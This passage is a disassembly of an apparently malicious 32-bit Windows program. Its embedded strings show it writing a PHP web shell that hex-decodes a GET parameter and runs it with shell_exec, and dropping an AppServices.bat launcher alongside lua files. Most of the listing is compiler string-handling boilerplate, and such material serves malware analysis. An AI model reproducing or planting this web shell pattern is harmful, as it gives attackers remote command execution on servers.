mov dword [ebp - 0x4a0], 7
mov word [ebp - 0x4b4], ax
cmp ecx, 8
jb 0x40499d
mov edx, dword [ebp - 0x368]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404993
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404993
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409ef6
add esp, 8
cmp byte [ebp - 0x449], 0
jne 0x405d63
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x368]
push dword [ebp - 0x320]
call fcn.00409320
mov dword [ebp - 4], 0x25
lea ecx, [ebp - 0x4e4]
mov byte [ebp - 0x320], 0
push dword [ebp - 0x320]
call fcn.004092f0
mov byte [ebp - 4], 0x26
lea edx, [ebp - 0x114]
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x4fc]
push dword [ebp - 0x320]
call fcn.00409240
add esp, 0xc
lea eax, [ebp - 0x4fc]
mov byte [ebp - 4], 0x28
push eax
lea ecx, [ebp - 0x350]
call fcn.00401df0
lea eax, [ebp - 0x4e4]
or edi, 0x20000000
push eax
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x450], edi
call fcn.00401a20
lea eax, [ebp - 0x350]
mov byte [ebp - 4], 0x29
push eax
lea ecx, [ebp - 0x49c]
call fcn.00401df0
lea eax, [ebp - 0x368]
or edi, 0x40000000
push eax
lea ecx, [ebp - 0x49c]
mov dword [ebp - 0x450], edi
call fcn.00401a20
push ecx
lea eax, [ebp - 0x484]
push eax
lea ecx, [ebp - 0x49c]
call fcn.00407650
or edi, 0x2000000
mov dword [ebp - 0x450], edi
mov byte [ebp - 4], 0x2a
lea esi, [ebp - 0x484]
cmp dword [ebp - 0x470], 0x10
lea ecx, [ebp - 0x4cc]
mov byte [ebp - 0x320], 0
mov edx, str.lua.zip
push dword [ebp - 0x320]
cmovae esi, dword [ebp - 0x484]
call fcn.00409240
mov byte [ebp - 4], 0x2b
lea edx, [ebp - 0x114]
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x4b4]
push dword [ebp - 0x320]
call fcn.00409240
add esp, 8
lea eax, [ebp - 0x4b4]
mov byte [ebp - 4], 0x2d
push eax
lea ecx, [ebp - 0x46c]
call fcn.00401df0
lea eax, [ebp - 0x4cc]
or edi, 0x400000
push eax
lea ecx, [ebp - 0x46c]
mov dword [ebp - 0x450], edi
call fcn.00401a20
push ecx
lea eax, [ebp - 0x338]
push eax
lea ecx, [ebp - 0x46c]
call fcn.00407650
or edi, 0x800000
mov dword [ebp - 0x450], edi
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x338]
cmp dword [ebp - 0x324], 0x10
mov edx, esi
cmovae ecx, dword [ebp - 0x338]
call fcn.00403270
test eax, eax
mov byte [ebp - 4], 0x2d
mov ecx, dword [ebp - 0x324]
setne byte [ebp - 0x449]
cmp ecx, 0x10
jb 0x404ba0
mov edx, dword [ebp - 0x338]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404b96
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ef0
push ecx
push edx
call fcn.00409ef6
add esp, 8
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0x458]
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x324], 0xf
mov byte [ebp - 0x338], 0
cmp ecx, 8
jb 0x404bff
mov edx, dword [ebp - 0x46c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404bf5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ef0
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x2b
mov ecx, dword [ebp - 0x4a0]
mov dword [ebp - 0x45c], 0
mov dword [ebp - 0x458], 7
mov word [ebp - 0x46c], ax
cmp ecx, 8
jb 0x404c60
mov edx, dword [ebp - 0x4b4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404c56
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ef0
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x2a
mov ecx, dword [ebp - 0x4b8]
mov dword [ebp - 0x4a4], 0
mov dword [ebp - 0x4a0], 7
mov word [ebp - 0x4b4], ax
cmp ecx, 8
jb 0x404cc1
mov edx, dword [ebp - 0x4cc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404cb7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ef0
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0x470]
mov dword [ebp - 0x4bc], 0
mov dword [ebp - 0x4b8], 7
mov word [ebp - 0x4cc], ax
cmp ecx, 0x10
jb 0x404d1c
mov edx, dword [ebp - 0x484]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404d12
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ef0
push ecx
push edx
call fcn.00409ef6
add esp, 8
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x488]
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x470], 0xf
mov byte [ebp - 0x484], 0
cmp ecx, 8
jb 0x404d7b
mov edx, dword [ebp - 0x49c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404d71
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ef0
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x33c]
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x488], 7
mov word [ebp - 0x49c], ax
cmp ecx, 8
jb 0x404ddc
mov edx, dword [ebp - 0x350]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404dd2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ef0
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x4e8]
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x33c], 7
mov word [ebp - 0x350], ax
cmp ecx, 8
jb 0x404e3d
mov edx, dword [ebp - 0x4fc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404e33
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ef0
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0x4ec], 0
mov dword [ebp - 0x4e8], 7
mov word [ebp - 0x4fc], ax
cmp ecx, 8
jb 0x404e9a
mov edx, dword [ebp - 0x4e4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404e90
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ef0
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x354]
mov dword [ebp - 0x4d4], 0
mov dword [ebp - 0x4d0], 7
mov word [ebp - 0x4e4], ax
cmp ecx, 8
jb 0x404f00
mov edx, dword [ebp - 0x368]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404ef6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404ef6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409ef6
add esp, 8
cmp byte [ebp - 0x449], 0
jne 0x405d63
push 0x14
xorps xmm0, xmm0
mov dword [ebp - 0x474], 0
push str.___necho__output__n___
lea ecx, [ebp - 0x484]
mov dword [ebp - 0x470], 0
movups xmmword [ebp - 0x484], xmm0
call fcn.00408530
mov dword [ebp - 4], 0x2f
lea ecx, [ebp - 0x4cc]
mov byte [ebp - 0x320], 0
mov edx, str.appservices.lua
push dword [ebp - 0x320]
call fcn.00409240
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x4b4]
mov byte [ebp - 0x320], 0
push dword [ebp - 0x320]
call fcn.004092f0
mov byte [ebp - 4], 0x31
lea edx, [ebp - 0x114]
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x4fc]
push dword [ebp - 0x320]
call fcn.00409240
add esp, 0xc
lea eax, [ebp - 0x4fc]
mov byte [ebp - 4], 0x33
push eax
lea ecx, [ebp - 0x46c]
call fcn.00401df0
mov edi, dword [ebp - 0x530]
lea eax, [ebp - 0x4b4]
or edi, 0x4000
lea ecx, [ebp - 0x46c]
push eax
mov dword [ebp - 0x454], edi
call fcn.00401a20
lea eax, [ebp - 0x46c]
mov byte [ebp - 4], 0x34
push eax
lea ecx, [ebp - 0x350]
call fcn.00401df0
lea eax, [ebp - 0x4cc]
or edi, 0x8000
push eax
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x454], edi
call fcn.00401a20
push ecx
lea eax, [ebp - 0x4e4]
push eax
lea ecx, [ebp - 0x350]
call fcn.00407650
or edi, 0x10000
mov dword [ebp - 0x454], edi
lea eax, [ebp - 0x4e4]
mov byte [ebp - 4], 0x35
push eax
mov edx, str.__php_nfunction_hex2str__hex___n_string____nfor___i__0___i___strlen__hex____1___i__2___n_string_._chr_hexdec__hex__i_._hex__i__1_____n_nreturn__string__n_n_code_hex__isset___GET_hex_______GET_hex__:___n_code__hex2str__code_hex___n_file__fopen_
lea ecx, [ebp - 0x368]
call fcn.00407e40
mov ecx, eax
add esp, 4
mov dword [ebp - 0x320], ecx
mov byte [ebp - 4], 0x36
mov esi, dword [ecx + 0x14]
mov eax, esi
mov edx, dword [ecx + 0x10]
sub eax, edx
cmp eax, 0x5d
jb 0x405096
lea eax, [edx + 0x5d]
mov dword [ecx + 0x10], eax
mov eax, ecx
cmp esi, 0x10
jb 0x405077
mov eax, dword [ecx]
push 0x5d
lea esi, [eax + edx]
push str.__w___nif__file___nfwrite__file____n__.__code___nfclose__file___n_n_output__shell_exec__code
push esi
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x320]
add esp, 0xc
mov byte [esi + 0x5d], 0
jmp 0x4050b1
push 0x5d
push str.__w___nif__file___nfwrite__file____n__.__code___nfclose__file___n_n_output__shell_exec__code
mov byte [ebp - 0x320], 0
push dword [ebp - 0x320]
push 0x5d
call fcn.00408b70
movups xmm0, xmmword [eax]
or edi, 0x20000
mov dword [ebp - 0x454], edi
movups xmmword [ebp - 0x388], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x378], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x484]
mov byte [ebp - 4], 0x37
push eax
lea eax, [ebp - 0x388]
push eax
push dword [ebp - 0x320]
lea ecx, [ebp - 0x338]
call fcn.00408f30
or edi, 0x40000
mov byte [ebp - 4], 0x39
mov ecx, dword [ebp - 0x374]
cmp ecx, 0x10
jb 0x40514c
mov edx, dword [ebp - 0x388]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405142
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405421
push ecx
push edx
call fcn.00409ef6
add esp, 8
mov byte [ebp - 4], 0x3a
mov ecx, dword [ebp - 0x354]
cmp ecx, 0x10
jb 0x40518a
mov edx, dword [ebp - 0x368]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405180
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405421
push ecx
push edx
call fcn.00409ef6
add esp, 8
mov dword [ebp - 0x358], 0
mov dword [ebp - 0x354], 0xf
mov byte [ebp - 0x368], 0
mov byte [ebp - 4], 0x3b
mov ecx, dword [ebp - 0x4d0]
cmp ecx, 0x10
jb 0x4051e3
mov edx, dword [ebp - 0x4e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4051d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405421
push ecx
push edx
call fcn.00409ef6
add esp, 8
mov dword [ebp - 0x4d4], 0
and edi, 0xffff7fff
mov dword [ebp - 0x4d0], 0xf
mov byte [ebp - 0x4e4], 0
mov byte [ebp - 4], 0x3c
mov ecx, dword [ebp - 0x33c]
cmp ecx, 8
jb 0x405248
mov edx, dword [ebp - 0x350]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40523e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405421
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 0x340], 0
and edi, 0xffffbfff
mov dword [ebp - 0x33c], 7
mov word [ebp - 0x350], ax
mov dword [ebp - 0x454], edi
mov byte [ebp - 4], 0x3d
mov ecx, dword [ebp - 0x458]
cmp ecx, 8
jb 0x4052b5
mov edx, dword [ebp - 0x46c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4052ab
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405421
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 0x45c], 0
mov dword [ebp - 0x458], 7
mov word [ebp - 0x46c], ax
mov byte [ebp - 4], 0x3e
mov ecx, dword [ebp - 0x4e8]
cmp ecx, 8
jb 0x405316
mov edx, dword [ebp - 0x4fc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40530c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405421
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 0x4ec], 0
mov dword [ebp - 0x4e8], 7
mov word [ebp - 0x4fc], ax
mov byte [ebp - 4], 0x3f
mov ecx, dword [ebp - 0x4a0]
cmp ecx, 8
jb 0x405377
mov edx, dword [ebp - 0x4b4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40536d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405421
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 0x4a4], 0
mov dword [ebp - 0x4a0], 7
mov word [ebp - 0x4b4], ax
mov byte [ebp - 4], 0x40
mov ecx, dword [ebp - 0x4b8]
cmp ecx, 8
jb 0x4053d4
mov edx, dword [ebp - 0x4cc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4053ca
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405421
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 0x4bc], 0
mov dword [ebp - 0x4b8], 7
mov word [ebp - 0x4cc], ax
mov byte [ebp - 4], 0x41
mov ecx, dword [ebp - 0x470]
cmp ecx, 0x10
jb 0x405431
mov edx, dword [ebp - 0x484]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405427
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x405427
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409ef6
add esp, 8
push 0xb0
lea eax, [ebp - 0x448]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x388]
push dword [ebp - 0x320]
call fcn.00409350
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x52c]
mov byte [ebp - 0x320], 0
push dword [ebp - 0x320]
call fcn.004092f0
mov byte [ebp - 4], 0x43
lea edx, [ebp - 0x114]
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x514]
push dword [ebp - 0x320]
call fcn.00409240
add esp, 0x18
lea eax, [ebp - 0x514]
mov byte [ebp - 4], 0x45
push eax
lea ecx, [ebp - 0x49c]
call fcn.00401df0
lea eax, [ebp - 0x52c]
or edi, 0x200
push eax
lea ecx, [ebp - 0x49c]
mov dword [ebp - 0x454], edi
call fcn.00401a20
lea eax, [ebp - 0x49c]
mov byte [ebp - 4], 0x46
push eax
lea ecx, [ebp - 0x484]
call fcn.00401df0
lea eax, [ebp - 0x388]
or edi, 0x400
push eax
lea ecx, [ebp - 0x484]
mov dword [ebp - 0x454], edi
call fcn.00401a20
cmp dword [ebp - 0x470], 8
lea eax, [ebp - 0x484]
lea ecx, [ebp - 0x448]
cmovae eax, dword [ebp - 0x484]
sub esp, 0xc
push eax
call fcn.00408d30
mov eax, dword [ebp - 0x448]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x448]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x44c], eax
and edi, 0xfffffbff
mov byte [ebp - 4], 0x48
mov ecx, dword [ebp - 0x470]
cmp ecx, 8
jb 0x405599
mov edx, dword [ebp - 0x484]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40558f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405717
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 0x474], 0
and edi, 0xfffffdff
mov dword [ebp - 0x470], 7
mov word [ebp - 0x484], ax
mov dword [ebp - 0x454], edi
mov byte [ebp - 4], 0x49
mov ecx, dword [ebp - 0x488]
cmp ecx, 8
jb 0x405606
mov edx, dword [ebp - 0x49c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4055fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405717
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x488], 7
mov word [ebp - 0x49c], ax
mov byte [ebp - 4], 0x4a
mov ecx, dword [ebp - 0x500]
cmp ecx, 8
jb 0x405667
mov edx, dword [ebp - 0x514]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40565d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405717
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 0x504], 0
mov dword [ebp - 0x500], 7
mov word [ebp - 0x514], ax
mov byte [ebp - 4], 0x4b
mov ecx, dword [ebp - 0x518]
cmp ecx, 8
jb 0x4056c4
mov edx, dword [ebp - 0x52c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4056ba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405717
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 0x51c], 0
mov dword [ebp - 0x518], 7
mov word [ebp - 0x52c], ax
mov byte [ebp - 4], 0x4c
mov ecx, dword [ebp - 0x374]
cmp ecx, 8
jb 0x405727
mov edx, dword [ebp - 0x388]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40571d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40571d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 0x378], 0
lea ecx, [ebp - 0x448]
mov dword [ebp - 0x374], 7
mov word [ebp - 0x388], ax
cmp dword [ebp - 0x3f8], eax
jne 0x40579a
call fcn.004031b0
mov ecx, dword [ebp - 0x324]
cmp ecx, 0x10
jb 0x405d63
mov edx, dword [ebp - 0x338]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40578b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40582f
push ecx
push edx
call fcn.00409ef6
add esp, 8
jmp 0x405d63
cmp dword [ebp - 0x324], 0x10
lea edx, [ebp - 0x338]
push dword [ebp - 0x328]
cmovae edx, dword [ebp - 0x338]
call fcn.00409380
add esp, 4
mov ecx, eax
push 0x407c70
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x444]
call fcn.00407250
test eax, eax
jne 0x4057f1
mov eax, dword [ebp - 0x448]
lea ecx, [ebp - 0x448]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x448]
call fcn.004031b0
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x324]
cmp ecx, 0x10
jb 0x40583f
mov edx, dword [ebp - 0x338]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405835
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x405835
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409ef6
add esp, 8
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x49c]
push dword [ebp - 0x320]
mov edx, str.AppServices.bat
call fcn.00409240
mov dword [ebp - 4], 0x4d
lea ecx, [ebp - 0x484]
mov byte [ebp - 0x320], 0
push dword [ebp - 0x320]
call fcn.004092f0
mov byte [ebp - 4], 0x4e
lea edx, [ebp - 0x114]
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x338]
push dword [ebp - 0x320]
call fcn.00409240
add esp, 0xc
lea eax, [ebp - 0x338]
mov byte [ebp - 4], 0x50
push eax
lea ecx, [ebp - 0x46c]
call fcn.00401df0
lea eax, [ebp - 0x484]
or edi, 0x800000
push eax
lea ecx, [ebp - 0x46c]
mov dword [ebp - 0x454], edi
call fcn.00401a20
lea eax, [ebp - 0x46c]
mov byte [ebp - 4], 0x51
push eax
lea ecx, [ebp - 0x4cc]
call fcn.00401df0
lea eax, [ebp - 0x49c]
or edi, 0x1000000
push eax
lea ecx, [ebp - 0x4cc]
mov dword [ebp - 0x454], edi
call fcn.00401a20
push ecx
lea eax, [ebp - 0x388]
push eax
lea ecx, [ebp - 0x4cc]
call fcn.00407650
or edi, 0x2000000
mov dword [ebp - 0x454], edi
lea eax, [ebp - 0x388]
mov byte [ebp - 4], 0x52
push eax
mov edx, str._echo_off_nstart_____
lea ecx, [ebp - 0x368]
call fcn.00407e40
add esp, 4
mov edi, eax
mov byte [ebp - 4], 0x53
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0x11
jb 0x405982
lea eax, [ecx + 0x11]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x405969
mov eax, dword [edi]
push 0x11
lea esi, [eax + ecx]
push str.___nul_2__1_nexit
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x11], 0
jmp 0x4059a1
push 0x11
push str.___nul_2__1_nexit
mov byte [ebp - 0x320], 0
mov ecx, edi
push dword [ebp - 0x320]
push 0x11
call fcn.00408b70
mov edi, eax
mov dword [ebp - 0x340], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x350], xmm0
mov dword [ebp - 0x33c], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x350], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x340], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 0x55
mov ecx, dword [ebp - 0x354]
cmp ecx, 0x10
jb 0x405a21
mov edx, dword [ebp - 0x368]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405a17
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a6c
push ecx
push edx
call fcn.00409ef6
add esp, 8
mov dword [ebp - 0x358], 0
mov dword [ebp - 0x354], 0xf
mov byte [ebp - 0x368], 0
mov byte [ebp - 4], 0x56
mov ecx, dword [ebp - 0x374]
cmp ecx, 0x10
jb 0x405a7c
mov edx, dword [ebp - 0x388]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405a72
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x405a72
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409ef6
add esp, 8
mov dword [ebp - 0x378], 0
mov dword [ebp - 0x374], 0xf
mov byte [ebp - 0x388], 0
lea ecx, [ebp - 0x4cc]
call fcn.00401d90
lea ecx, [ebp - 0x46c]
call fcn.00401d90
lea ecx, [ebp - 0x338]
call fcn.00401d90
lea ecx, [ebp - 0x484]
call fcn.00401d90
lea ecx, [ebp - 0x49c]
mov byte [ebp - 4], 0x5b
call fcn.00401d90
push 0xb0
lea eax, [ebp - 0x448]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 8
lea ecx, [ebp - 0x514]
push str.AppServices.bat
call fcn.00407ca0
sub esp, 8
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x52c]
call fcn.00407cf0
push ecx
lea eax, [ebp - 0x114]
mov byte [ebp - 4], 0x5d
push eax
lea ecx, [ebp - 0x4b4]
call fcn.00407ca0
lea ecx, [ebp - 0x52c]
mov byte [ebp - 4], 0x5e
push ecx
mov edx, eax
lea ecx, [ebp - 0x4fc]
call fcn.00401d20
lea ecx, [ebp - 0x514]
mov byte [ebp - 4], 0x5f
push ecx
mov edx, eax
lea ecx, [ebp - 0x4e4]
call fcn.00401d20
push ecx
push eax
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x60
call fcn.00407f90
mov byte [ebp - 4], 0x62
mov ecx, dword [ebp - 0x4d0]
cmp ecx, 8
jb 0x405ba6
mov edx, dword [ebp - 0x4e4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405b9c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d18
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 0x4d4], 0
mov dword [ebp - 0x4d0], 7
mov word [ebp - 0x4e4], ax
mov byte [ebp - 4], 0x63
mov ecx, dword [ebp - 0x4e8]
cmp ecx, 8
jb 0x405c07
mov edx, dword [ebp - 0x4fc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405bfd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d18
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 0x4ec], 0
mov dword [ebp - 0x4e8], 7
mov word [ebp - 0x4fc], ax
mov byte [ebp - 4], 0x64
mov ecx, dword [ebp - 0x4a0]
cmp ecx, 8
jb 0x405c68
mov edx, dword [ebp - 0x4b4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405c5e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d18
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 0x4a4], 0
mov dword [ebp - 0x4a0], 7
mov word [ebp - 0x4b4], ax
mov byte [ebp - 4], 0x65
mov ecx, dword [ebp - 0x518]
cmp ecx, 8
jb 0x405cc5
mov edx, dword [ebp - 0x52c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
